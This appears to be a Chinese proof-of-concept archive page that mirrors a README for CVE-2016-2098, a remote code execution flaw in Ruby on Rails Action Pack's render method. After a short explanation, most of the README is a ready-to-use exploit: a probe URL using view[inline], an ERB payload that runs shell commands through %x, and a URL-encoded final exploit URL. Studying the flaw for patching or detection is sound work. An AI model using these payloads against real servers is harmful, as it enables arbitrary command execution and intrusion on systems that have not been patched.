POC详情: 4c26ab5dfb6efb94ce8734cf47045f261eb24cd6

来源
关联漏洞
标题: Ruby on Rails Action Pack 安全漏洞 (CVE-2016-2098)
描述:Ruby on Rails(Rails)是Rails核心团队开发维护的一套基于Ruby语言的开源Web应用框架,它是由大卫-海纳梅尔-韩森从美国37signals公司的项目管理工具Basecamp里分离出来的。Action Pack是其中的一个用于构建和测试MVC Web应用程序的组件。 Ruby on Rails的Action Pack中存在安全漏洞,该漏洞源于‘render’函数没有充分过滤用户提交的输入。远程攻击者可通过向应用程序发送特制的数据利用该漏洞执行任意Ruby代码。以下版本受到影响:Rub
描述
Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.
介绍
# CVE-2016-2098
Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.
# Explanation:
This issue comes from the usage of the render method on user-supplied data.

The method render is usually used to render a page from a template, but render method also allows developers to render plain text (plaintext) and even inline code (inline).

`render` function:
```ruby
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
  options = _normalize_render(*args, &block)
  rendered_body = render_to_body(options)
  if options[:html]
    _set_html_content_type
  else
    _set_rendered_content_type rendered_format
  end
  _set_vary_header
  self.response_body = rendered_body
end
```
# Exploitaion Example:

Target URL:
```
http://example.com/?view=test
```
Exploitaion:
```
http://example.com/?view[inline]=OK
```
If 'OK' showen in the source code then the web application is vulnerable to CVE-2016-2098.

# Remote Code Execution

```ruby
<%= %x('[CMD]') %>
```
We can replace CMD to our command that we want it to be excutued.
```ruby
<%= %x('whoami') %>
```
After URL encoding:
```html
%3C%25=%20%25x(whoami)%20%25%3E
```
Final:
```
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E
```

## Resources:
- https://guides.rubyonrails.org/layouts_and_rendering.html
文件快照

[4.0K] /data/pocs/4c26ab5dfb6efb94ce8734cf47045f261eb24cd6 └── [1.3K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。